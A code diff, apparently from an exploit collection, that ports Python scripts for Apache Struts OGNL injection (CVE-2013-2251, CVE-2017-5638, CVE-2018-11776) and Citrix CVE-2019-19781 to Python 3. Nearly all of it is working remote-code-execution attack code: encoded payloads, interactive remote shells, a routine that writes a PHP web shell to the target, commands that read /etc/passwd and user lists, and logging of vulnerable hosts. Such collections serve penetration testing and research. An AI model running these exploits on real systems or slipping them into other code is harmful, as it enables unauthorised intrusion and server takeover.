exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
|
||||||
return exploit3
|
return exploit2
|
||||||
|
|
||||||
def pwnd(shellfile):
|
def exploit3(comando):
|
||||||
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
|
||||||
return exploitfile
|
return exploit3
|
||||||
|
|
||||||
def validador():
|
def pwnd(shellfile):
|
||||||
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
|
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||||
return arr_lin_win
|
return exploitfile
|
||||||
|
|
||||||
#def reversepl(ip,port):
|
def validador():
|
||||||
# print "perl"
|
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
|
||||||
|
return arr_lin_win
|
||||||
|
|
||||||
#def reversepy(ip,port):
|
#def reversepl(ip,port):
|
||||||
# print "python"
|
# print "perl"
|
||||||
|
|
||||||
# CVE-2013-2251 ---------------------------------------------------------------------------------
|
#def reversepy(ip,port):
|
||||||
try:
|
# print "python"
|
||||||
response = ''
|
|
||||||
response = urllib2.urlopen(host+poc)
|
|
||||||
except:
|
|
||||||
print RED+" Servidor no responde\n"+ENDC
|
|
||||||
exit(0)
|
|
||||||
|
|
||||||
print BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC
|
# CVE-2013-2251 ---------------------------------------------------------------------------------
|
||||||
|
try:
|
||||||
|
response = ''
|
||||||
|
response = urllib.request.urlopen(host+poc)
|
||||||
|
except:
|
||||||
|
print(RED+" Servidor no responde\n"+ENDC)
|
||||||
|
exit(0)
|
||||||
|
|
||||||
if response.read().find("mamalo") != -1:
|
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
|
||||||
print RED+" [-] VULNERABLE"+ENDC
|
|
||||||
owned = open('vulnsite.txt', 'a')
|
|
||||||
owned.write(str(host)+'\n')
|
|
||||||
owned.close()
|
|
||||||
|
|
||||||
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
if response.read().find("mamalo") != -1:
|
||||||
#print BOLD+" * [SHELL REVERSA]"+ENDC
|
print(RED+" [-] VULNERABLE"+ENDC)
|
||||||
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
|
owned = open('vulnsite.txt', 'a')
|
||||||
if opcion == 's':
|
owned.write(str(host)+'\n')
|
||||||
print YELLOW+" [-] GET PROMPT...\n"+ENDC
|
owned.close()
|
||||||
time.sleep(1)
|
|
||||||
print BOLD+" * [UPLOAD SHELL]"+ENDC
|
|
||||||
print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC
|
|
||||||
|
|
||||||
while 1:
|
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||||
separador = raw_input(GREEN+"Struts2@Shell_1:$ "+ENDC)
|
#print BOLD+" * [SHELL REVERSA]"+ENDC
|
||||||
espacio = separador.split(' ')
|
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
|
||||||
comando = "','".join(espacio)
|
if opcion == 's':
|
||||||
|
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||||
|
time.sleep(1)
|
||||||
|
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
|
||||||
|
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
|
||||||
|
|
||||||
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
|
while 1:
|
||||||
shell = urllib2.urlopen(host+exploit("'"+str(comando)+"'"))
|
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
|
||||||
print "\n"+shell.read()
|
espacio = separador.split(' ')
|
||||||
elif espacio[0] == 'pwnd':
|
comando = "','".join(espacio)
|
||||||
pathsave=raw_input("path EJ:/tmp/: ")
|
|
||||||
|
|
||||||
if espacio[1] == 'php':
|
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
|
||||||
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
|
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
|
||||||
urllib2.urlopen(host+pwnd(str(shellfile)))
|
print("\n"+shell.read())
|
||||||
shell = urllib2.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
elif espacio[0] == 'pwnd':
|
||||||
if shell.read().find(pathsave+"status.php") != -1:
|
pathsave=input("path EJ:/tmp/: ")
|
||||||
print BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC
|
|
||||||
else:
|
|
||||||
print BOLD+RED+"\nNo Create File :/\n"+ENDC
|
|
||||||
|
|
||||||
# CVE-2017-5638 ---------------------------------------------------------------------------------
|
if espacio[1] == 'php':
|
||||||
print BLUE+" [-] NO VULNERABLE"+ENDC
|
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
|
||||||
print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC
|
urllib.request.urlopen(host+pwnd(str(shellfile)))
|
||||||
x = 0
|
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
||||||
while x < len(validador()):
|
if shell.read().find(pathsave+"status.php") != -1:
|
||||||
valida = validador()[x]
|
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
|
||||||
|
else:
|
||||||
|
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
|
||||||
|
|
||||||
try:
|
# CVE-2017-5638 ---------------------------------------------------------------------------------
|
||||||
req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
|
print(BLUE+" [-] NO VULNERABLE"+ENDC)
|
||||||
result = urllib2.urlopen(req).read()
|
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
|
||||||
|
x = 0
|
||||||
|
while x < len(validador()):
|
||||||
|
valida = validador()[x]
|
||||||
|
|
||||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
try:
|
||||||
print RED+" [-] VULNERABLE"+ENDC
|
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
|
||||||
owned = open('vulnsite.txt', 'a')
|
result = urllib.request.urlopen(req).read()
|
||||||
owned.write(str(host)+'\n')
|
|
||||||
owned.close()
|
|
||||||
|
|
||||||
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||||
if opcion == 's':
|
print(RED+" [-] VULNERABLE"+ENDC)
|
||||||
print YELLOW+" [-] GET PROMPT...\n"+ENDC
|
owned = open('vulnsite.txt', 'a')
|
||||||
time.sleep(1)
|
owned.write(str(host)+'\n')
|
||||||
|
owned.close()
|
||||||
|
|
||||||
while 1:
|
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||||
try:
|
if opcion == 's':
|
||||||
separador = raw_input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
|
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||||
req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
|
time.sleep(1)
|
||||||
result = urllib2.urlopen(req).read()
|
|
||||||
print "\n"+result
|
|
||||||
except:
|
|
||||||
exit(0)
|
|
||||||
else:
|
|
||||||
x = len(validador())
|
|
||||||
else:
|
|
||||||
print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
x=x+1
|
|
||||||
|
|
||||||
# CVE-2018-11776 ---------------------------------------------------------------------------------
|
while 1:
|
||||||
print BLUE+" [-] NO VULNERABLE"+ENDC
|
try:
|
||||||
print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC
|
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
|
||||||
x = 0
|
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
|
||||||
while x < len(validador()):
|
result = urllib.request.urlopen(req).read()
|
||||||
#Filtramos la url solo dominio
|
print("\n"+result)
|
||||||
url = host.replace('#', '%23')
|
except:
|
||||||
url = host.replace(' ', '%20')
|
exit(0)
|
||||||
if ('://' not in url):
|
else:
|
||||||
url = str("http://") + str(url)
|
x = len(validador())
|
||||||
scheme = urlparse.urlparse(url).scheme
|
else:
|
||||||
site = scheme + '://' + urlparse.urlparse(url).netloc
|
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
x=x+1
|
||||||
|
|
||||||
#Filtramos la url solo path
|
# CVE-2018-11776 ---------------------------------------------------------------------------------
|
||||||
file_path = urlparse.urlparse(url).path
|
print(BLUE+" [-] NO VULNERABLE"+ENDC)
|
||||||
if (file_path == ''):
|
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
|
||||||
file_path = '/'
|
x = 0
|
||||||
|
while x < len(validador()):
|
||||||
valida = validador()[x]
|
#Filtramos la url solo dominio
|
||||||
try:
|
url = host.replace('#', '%23')
|
||||||
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
|
url = host.replace(' ', '%20')
|
||||||
|
if ('://' not in url):
|
||||||
|
url = str("http://") + str(url)
|
||||||
|
scheme = urllib.parse.urlparse(url).scheme
|
||||||
|
site = scheme + '://' + urllib.parse.urlparse(url).netloc
|
||||||
|
|
||||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
#Filtramos la url solo path
|
||||||
print RED+" [-] VULNERABLE"+ENDC
|
file_path = urllib.parse.urlparse(url).path
|
||||||
owned = open('vulnsite.txt', 'a')
|
if (file_path == ''):
|
||||||
owned.write(str(host)+'\n')
|
file_path = '/'
|
||||||
owned.close()
|
|
||||||
|
|
||||||
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
valida = validador()[x]
|
||||||
if opcion == 's':
|
try:
|
||||||
print YELLOW+" [-] GET PROMPT...\n"+ENDC
|
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
|
||||||
time.sleep(1)
|
|
||||||
print BOLD+" * [UPLOAD SHELL]"+ENDC
|
|
||||||
print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC
|
|
||||||
|
|
||||||
while 1:
|
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||||
separador = raw_input(GREEN+"Struts2@Shell_3:$ "+ENDC)
|
print(RED+" [-] VULNERABLE"+ENDC)
|
||||||
espacio = separador.split(' ')
|
owned = open('vulnsite.txt', 'a')
|
||||||
comando = "%20".join(espacio)
|
owned.write(str(host)+'\n')
|
||||||
|
owned.close()
|
||||||
|
|
||||||
shell = urllib2.urlopen(host+exploit3(str(comando)))
|
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||||
print "\n"+shell.read()
|
if opcion == 's':
|
||||||
|
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||||
else:
|
time.sleep(1)
|
||||||
x = len(validador())
|
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
|
||||||
exit(0)
|
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
|
||||||
else:
|
|
||||||
print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)
|
while 1:
|
||||||
except:
|
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
|
||||||
pass
|
espacio = separador.split(' ')
|
||||||
x=x+1
|
comando = "%20".join(espacio)
|
||||||
else:
|
|
||||||
print RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC
|
shell = urllib.request.urlopen(host+exploit3(str(comando)))
|
||||||
exit(0)
|
print("\n"+shell.read())
|
||||||
|
|
||||||
|
else:
|
||||||
|
x = len(validador())
|
||||||
|
exit(0)
|
||||||
|
else:
|
||||||
|
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
x=x+1
|
||||||
|
else:
|
||||||
|
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
|
||||||
|
exit(0)
|
||||||
else:
|
else:
|
||||||
print RED+" Debe Ingresar una Url\n"+ENDC
|
print(RED+" Debe Ingresar una Url\n"+ENDC)
|
||||||
exit(0)
|
exit(0)
|
||||||
|
|||||||
@@ -1,176 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
# coding=utf-8
|
|
||||||
# *****************************************************
|
|
||||||
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
|
|
||||||
# Author:
|
|
||||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
|
||||||
# This code is based on:
|
|
||||||
# https://www.exploit-db.com/exploits/41570/
|
|
||||||
# https://www.seebug.org/vuldb/ssvid-92746
|
|
||||||
# *****************************************************
|
|
||||||
import sys
|
|
||||||
import random
|
|
||||||
import requests
|
|
||||||
import argparse
|
|
||||||
|
|
||||||
# Disable SSL warnings
|
|
||||||
try:
|
|
||||||
import requests.packages.urllib3
|
|
||||||
requests.packages.urllib3.disable_warnings()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if len(sys.argv) <= 1:
|
|
||||||
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
|
|
||||||
print('[*] Struts-PWN - @mazen160')
|
|
||||||
print('\n%s -h for help.' % (sys.argv[0]))
|
|
||||||
exit(0)
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("-u", "--url",
|
|
||||||
dest="url",
|
|
||||||
help="Check a single URL.",
|
|
||||||
action='store')
|
|
||||||
parser.add_argument("-l", "--list",
|
|
||||||
dest="usedlist",
|
|
||||||
help="Check a list of URLs.",
|
|
||||||
action='store')
|
|
||||||
parser.add_argument("-c", "--cmd",
|
|
||||||
dest="cmd",
|
|
||||||
help="Command to execute. (Default: id)",
|
|
||||||
action='store',
|
|
||||||
default='id')
|
|
||||||
parser.add_argument("--check",
|
|
||||||
dest="do_check",
|
|
||||||
help="Check if a target is vulnerable.",
|
|
||||||
action='store_true')
|
|
||||||
args = parser.parse_args()
|
|
||||||
url = args.url if args.url else None
|
|
||||||
usedlist = args.usedlist if args.usedlist else None
|
|
||||||
url = args.url if args.url else None
|
|
||||||
cmd = args.cmd if args.cmd else None
|
|
||||||
do_check = args.do_check if args.do_check else None
|
|
||||||
|
|
||||||
|
|
||||||
def url_prepare(url):
|
|
||||||
url = url.replace('#', '%23')
|
|
||||||
url = url.replace(' ', '%20')
|
|
||||||
if ('://' not in url):
|
|
||||||
url = str('http') + str('://') + str(url)
|
|
||||||
return(url)
|
|
||||||
|
|
||||||
|
|
||||||
def exploit(url, cmd):
|
|
||||||
url = url_prepare(url)
|
|
||||||
print('\n[*] URL: %s' % (url))
|
|
||||||
print('[*] CMD: %s' % (cmd))
|
|
||||||
|
|
||||||
payload = "%{(#_='multipart/form-data')."
|
|
||||||
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
|
||||||
payload += "(#_memberAccess?"
|
|
||||||
payload += "(#_memberAccess=#dm):"
|
|
||||||
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
|
||||||
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
|
||||||
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
|
|
||||||
payload += "(#ognlUtil.getExcludedClasses().clear())."
|
|
||||||
payload += "(#context.setMemberAccess(#dm))))."
|
|
||||||
payload += "(#cmd='%s')." % cmd
|
|
||||||
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
|
||||||
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
|
||||||
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
|
||||||
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
|
|
||||||
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
|
||||||
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
|
||||||
payload += "(#ros.flush())}"
|
|
||||||
|
|
||||||
headers = {
|
|
||||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
|
|
||||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
|
||||||
'Content-Type': str(payload),
|
|
||||||
'Accept': '*/*'
|
|
||||||
}
|
|
||||||
|
|
||||||
timeout = 3
|
|
||||||
try:
|
|
||||||
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
|
|
||||||
except Exception as e:
|
|
||||||
print("EXCEPTION::::--> " + str(e))
|
|
||||||
output = 'ERROR'
|
|
||||||
return(output)
|
|
||||||
|
|
||||||
|
|
||||||
def check(url):
|
|
||||||
url = url_prepare(url)
|
|
||||||
print('\n[*] URL: %s' % (url))
|
|
||||||
|
|
||||||
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
|
|
||||||
|
|
||||||
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
|
|
||||||
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
|
|
||||||
headers = {
|
|
||||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
|
|
||||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
|
||||||
'Content-Type': str(payload),
|
|
||||||
'Accept': '*/*'
|
|
||||||
}
|
|
||||||
|
|
||||||
timeout = 3
|
|
||||||
try:
|
|
||||||
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
|
||||||
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
|
|
||||||
result = True
|
|
||||||
else:
|
|
||||||
result = False
|
|
||||||
except Exception as e:
|
|
||||||
print("EXCEPTION::::--> " + str(e))
|
|
||||||
result = False
|
|
||||||
return(result)
|
|
||||||
|
|
||||||
|
|
||||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
|
|
||||||
if url:
|
|
||||||
if do_check:
|
|
||||||
result = check(url) # Only check for existence of Vulnerablity
|
|
||||||
output = '[*] Status: '
|
|
||||||
if result is True:
|
|
||||||
output += 'Vulnerable!'
|
|
||||||
else:
|
|
||||||
output += 'Not Affected.'
|
|
||||||
else:
|
|
||||||
output = exploit(url, cmd) # Exploit
|
|
||||||
print(output)
|
|
||||||
|
|
||||||
if usedlist:
|
|
||||||
URLs_List = []
|
|
||||||
try:
|
|
||||||
f_file = open(str(usedlist), 'r')
|
|
||||||
URLs_List = f_file.read().replace('\r', '').split('\n')
|
|
||||||
try:
|
|
||||||
URLs_List.remove('')
|
|
||||||
except ValueError:
|
|
||||||
pass
|
|
||||||
f_file.close()
|
|
||||||
except:
|
|
||||||
print('Error: There was an error in reading list file.')
|
|
||||||
exit(1)
|
|
||||||
for url in URLs_List:
|
|
||||||
if do_check:
|
|
||||||
result = check(url) # Only check for existence of Vulnerablity
|
|
||||||
output = '[*] Status: '
|
|
||||||
if result is True:
|
|
||||||
output += 'Vulnerable!'
|
|
||||||
else:
|
|
||||||
output += 'Not Affected.'
|
|
||||||
else:
|
|
||||||
output = exploit(url, cmd) # Exploit
|
|
||||||
print(output)
|
|
||||||
|
|
||||||
print('[%] Done.')
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
try:
|
|
||||||
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
print('\nKeyboardInterrupt Detected.')
|
|
||||||
print('Exiting...')
|
|
||||||
exit(0)
|
|
||||||
2
CVE Exploits/Apache Struts 2 CVE-2017-9805.py
Executable file → Normal file
2
CVE Exploits/Apache Struts 2 CVE-2017-9805.py
Executable file → Normal file
@@ -8,6 +8,8 @@
|
|||||||
# https://github.com/rapid7/metasploit-framework/pull/8924
|
# https://github.com/rapid7/metasploit-framework/pull/8924
|
||||||
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
|
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
|
||||||
# *****************************************************
|
# *****************************************************
|
||||||
|
from __future__ import print_function
|
||||||
|
from builtins import str
|
||||||
import argparse
|
import argparse
|
||||||
import requests
|
import requests
|
||||||
import sys
|
import sys
|
||||||
|
|||||||
15
CVE Exploits/Apache Struts 2 CVE-2018-11776.py
Executable file → Normal file
15
CVE Exploits/Apache Struts 2 CVE-2018-11776.py
Executable file → Normal file
@@ -8,6 +8,11 @@
|
|||||||
# https://github.com/jas502n/St2-057
|
# https://github.com/jas502n/St2-057
|
||||||
# *****************************************************
|
# *****************************************************
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
from future import standard_library
|
||||||
|
standard_library.install_aliases()
|
||||||
|
from builtins import str
|
||||||
|
from builtins import range
|
||||||
import argparse
|
import argparse
|
||||||
import random
|
import random
|
||||||
import requests
|
import requests
|
||||||
@@ -15,7 +20,7 @@ import sys
|
|||||||
try:
|
try:
|
||||||
from urllib import parse as urlparse
|
from urllib import parse as urlparse
|
||||||
except ImportError:
|
except ImportError:
|
||||||
import urlparse
|
import urllib.parse
|
||||||
|
|
||||||
# Disable SSL warnings
|
# Disable SSL warnings
|
||||||
try:
|
try:
|
||||||
@@ -77,13 +82,13 @@ def parse_url(url):
|
|||||||
|
|
||||||
if ('://' not in url):
|
if ('://' not in url):
|
||||||
url = str("http://") + str(url)
|
url = str("http://") + str(url)
|
||||||
scheme = urlparse.urlparse(url).scheme
|
scheme = urllib.parse.urlparse(url).scheme
|
||||||
|
|
||||||
# Site: http://example.com
|
# Site: http://example.com
|
||||||
site = scheme + '://' + urlparse.urlparse(url).netloc
|
site = scheme + '://' + urllib.parse.urlparse(url).netloc
|
||||||
|
|
||||||
# FilePath: /demo/struts2-showcase/index.action
|
# FilePath: /demo/struts2-showcase/index.action
|
||||||
file_path = urlparse.urlparse(url).path
|
file_path = urllib.parse.urlparse(url).path
|
||||||
if (file_path == ''):
|
if (file_path == ''):
|
||||||
file_path = '/'
|
file_path = '/'
|
||||||
|
|
||||||
@@ -154,7 +159,7 @@ def check(url):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
print("EXCEPTION::::--> " + str(e))
|
print("EXCEPTION::::--> " + str(e))
|
||||||
continue
|
continue
|
||||||
if "Location" in resp.headers.keys():
|
if "Location" in list(resp.headers.keys()):
|
||||||
if str(multiplication_value) in resp.headers['Location']:
|
if str(multiplication_value) in resp.headers['Location']:
|
||||||
print("[*] Status: Vulnerable!")
|
print("[*] Status: Vulnerable!")
|
||||||
return(injection_point)
|
return(injection_point)
|
||||||
|
|||||||
51
CVE Exploits/Citrix CVE-2019-19781.py
Normal file
51
CVE Exploits/Citrix CVE-2019-19781.py
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# https://github.com/mpgn/CVE-2019-19781
|
||||||
|
# # #
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
|
|
||||||
|
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
|
||||||
|
print("Found by Mikhail Klyuchnikov")
|
||||||
|
print("")
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("[-] No URL provided")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
command = input("command > ")
|
||||||
|
|
||||||
|
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
|
||||||
|
print("[+] Adding bookmark", random_xml + ".xml")
|
||||||
|
|
||||||
|
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
|
||||||
|
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||||
|
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||||
|
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
|
||||||
|
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
|
||||||
|
|
||||||
|
if r.status_code == 200:
|
||||||
|
print("[+] Bookmark added")
|
||||||
|
else:
|
||||||
|
print("\n[-] Target not vulnerable or something went wrong")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
|
||||||
|
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||||
|
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||||
|
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
|
||||||
|
|
||||||
|
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
|
||||||
|
print("[+] Result of the command: \n")
|
||||||
|
print(replaced)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("Exiting...")
|
||||||
|
break
|
||||||
@@ -1,3 +1,4 @@
|
|||||||
|
from __future__ import print_function
|
||||||
import requests
|
import requests
|
||||||
import logging
|
import logging
|
||||||
import json
|
import json
|
||||||
@@ -23,7 +24,7 @@ if r.json:
|
|||||||
for container in r.json():
|
for container in r.json():
|
||||||
container_id = container['Id']
|
container_id = container['Id']
|
||||||
container_name = container['Names'][0].replace('/','')
|
